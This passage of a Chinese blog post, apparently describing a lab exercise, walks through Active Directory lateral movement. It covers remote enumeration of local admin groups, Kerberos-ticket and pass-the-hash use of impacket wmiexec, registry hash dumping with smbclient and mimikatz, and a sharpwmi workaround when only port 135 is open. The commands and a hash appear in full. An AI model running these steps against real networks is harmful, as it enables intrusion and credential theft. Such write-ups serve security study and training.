!important;"/>&gt;pwdLastSet: 133266460945786222<br style="line-height: 1.6 !important;"/>&gt;primaryGroupID: 513<br style="line-height: 1.6 !important;"/>&gt;objectsid: S-1-5-21-1540577040-1432127714-718651653-1105<br style="line-height: 1.6 !important;"/>&gt;accountExpires: 0<br style="line-height: 1.6 !important;"/>&gt;logonCount: 3<br style="line-height: 1.6 !important;"/>&gt;sAMAccountName: linux_ldap<br style="line-height: 1.6 !important;"/>&gt;sAMAccountType: 805306368<br style="line-height: 1.6 !important;"/>&gt;objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=move,DC=lab<br style="line-height: 1.6 !important;"/>&gt;dSCorePropagationData: 16010101000000.0Z<br style="line-height: 1.6 !important;"/>&gt;lastLogonTimestamp: 133266470902405676<br style="line-height: 1.6 !important;"/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">linux_ldap 为 IT admins 组成员，IT admins 不属于任何特权组。出现这种情况一般是 IT admins 为一些机器的本地管理员组成员，方便管理员管理机器，但在 AD 上没有特权。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">我们需要知道 linux_ldap 能登哪台机器，最暴力的方式是直接进行认证,如 rdp/wmi/smb 等。这样在很多有防护的环境是比较危险的，会直接提示权限不足。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">我们可以使用一些列 windows API 远程枚举出机器本地组的成员，效果和在机器上执行&#34;net localgroup administrators&#34;类似。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">比如：</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://github.com/SkewwG/domainTools/tree/master/NetLocalGroupGetMembers" target="_blank">https://github.com/SkewwG/domainTools/tree/master/NetLocalGroupGetMembers</a></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.37037037037037035" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=849caf59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkjCzU72ibRYebDYTRSMeSTWNy7V4Rx96MaAfibXI9EFx9K0IWYfiayaK3Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">好处是只需要能建立 smb 连接就可以使用，默认情况下普通域账户其实是可以登录任何一台域机器的，但不能通过 rdp 这样的方式远程登录。net use 这种可以认证通过，但进行 dir c:\这样的操作会报 access deny。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">比如：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.17685185185185184" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=269eba62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkD8FHCwElC9hRnA87nib3NPzRcsPcNlKnfB5QkHIFs208lq7gCTYicM9A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">用这系列 api 可以避免触发 access deny，降低风险。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">pth 后成功枚举出了一些机器的本地管理组：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.23425925925925925" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cdbe2ccc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkckgeO7K9jqsBczYWIO21xhFUReNhia2J9mBObdkriazBPRCyOr6aFqicQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">发现 IT admins 是 server01(10.0.2.199)的本地管理员组成员，我们可以通过已有的 linux_ldap 控制这台机器。</p><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">横向移动</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">过了一段时间我们看到 linux_ldap 用户有登录行为，</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.27479892761394104" title="null" data-type="png" data-w="746" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd53626a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kko3L1dFt0LyQA9Aia3aGiaK4mC7XCKWlFH9m1yqicfH05POOQgKOD3LAIA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">票据应该有效了，直接使用 impacket 的工具 wmiexec 横向：</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;"><span style="color: #a6e22e;line-height: 1.6 !important;">export</span> KRB5CCNAME=/tmp/krb5cc_1680801105<br style="line-height: 1.6 !important;"/>./wmiexec_linux_x86_64 move.lab/linux_ldap@10.0.2.199 -k  -no-pass -dc-ip 10.0.2.10</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">报错:</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.16875712656784492" title="null" data-type="png" data-w="877" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=716bacb6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkAotEslnuvb4kRsLcR5yL9ibx3OBda4opu2W6yWlF7AfSB0c1Tiadol6w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">票据认证需要使用 FQDN 或者 NETbiosNAME：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;"><span style="color: #a6e22e;line-height: 1.6 !important;">export</span> KRB5CCNAME=/tmp/krb5cc_1680801105<br style="line-height: 1.6 !important;"/>./wmiexec_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">成功:</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.16593406593406593" title="null" data-type="png" data-w="910" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d8af65be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkOLgBqjy7IUk6iaI625522ichtvlicwSLjLaLMGOK8qWVAiaq2Ss3oqpuaA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">抓内存发现没有域凭据，抓本地注册表，这里因为目标是 windows 系统，存在编码的问题，部分命令回显有问题，但可以正常执行：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3923900118906064" title="null" data-type="png" data-w="841" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2308e129&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkFzOYMt3xnibOHp8F2VWI3DMo9qXnfjeAyxLYqeulys4T23iavOh3dxTA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用 smbclient 获取文件：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">./smbclient_linux_x86_64 move.lab/linux_ldap@connect.move.lab -k  -no-pass -dc-ip 10.0.2.100</code></pre></section><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3002136752136752" title="null" data-type="png" data-w="936" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=31fc43bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkZctvseLegdVjF4CXAbQpP6opa6T1ENMJEA2k2icjyoWVUC2grn9icruA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用 mimikatz 解出注册表中的 hash：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.41154562383612664" title="null" data-type="png" data-w="537" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d7fc7c8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkIZDJVn9aLDyoU4TILBVzsxvXmQicwwibwia9c4QuoIOlwnbsvNTVOsXaQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">wmi 横向移动</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">现在有本地 administrator 账户的 hash，实战中可能有很多情况本地 administrator 账户的密码是一样的，比如虚拟机克隆、统一装机、组策略等情况。计划使用本地 administrator 进行横向移动。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查看 ldap 信息发现还有一台 windows server02：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.44722222222222224" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e1ca773d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkbleN8OybSr4OfQDkOKJ1ZvK1Kofa8ZoP4QXZzlgUbQjReXuXGydKmQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">尝试横向移动：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">./wmiexec_linux_x86_64 Administrator@server02.move.lab -hashes  83cb8d375287916f79bbf0d29accc893:83cb8d375287916f79bbf0d29accc893 -no-pass -dc-ip 10.0.2.100</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">发现不成功，一直卡在界面，疑似端口不通。查看端口开放情况：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.21666666666666667" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e30d2bb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KknLIE37W6ZYVr5zKlLbkK7yeVlWQZ9voIKWrIs0hp300TOU2pd0poDw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">发现只开通了 135，我们知道一般的 wmi 横向移动需要结合 135 端口的 dcom 和 445 端口的 smb 服务，wmiexec 的源码也验证了这一点：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.6813627254509018" title="null" data-type="png" data-w="998" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7196a57c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkicYIL0iadWicBjEicT681TmefqKWk2E0KTq6wiawJ9xExyKIz6siaxMtBAfQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">现在面临的问题就是在仅开放 135 端口的情况下如何进行横向移动。这里使用<a href="https://github.com/QAX-A-Team/sharpwmi" target="_blank">https://github.com/QAX-A-Team/sharpwmi</a></p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">该工具主要是通过 rpc 协议操作注册表，将命令执行的结果写入注册表，之后读取注册表来代替使用 smb 的形式拿到回显：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3824074074074074" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e0dbd1f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkW2LiaPARwR3ibIqfdibP31J5sibOvJhpr7krib66ZHms74Csqt6lGVeOs0g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">ExecCmd 实现远程调用 wmi：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.32096069868995636" title="null" data-type="png" data-w="916" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f8516307&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KklushyM8HJlYg8bqQK4UMcexlvJ6S5eeocvMJb27KI53Ev1fic0af5Tw%2F640%3Fwx_fmt%3Dpng"/></figure><p 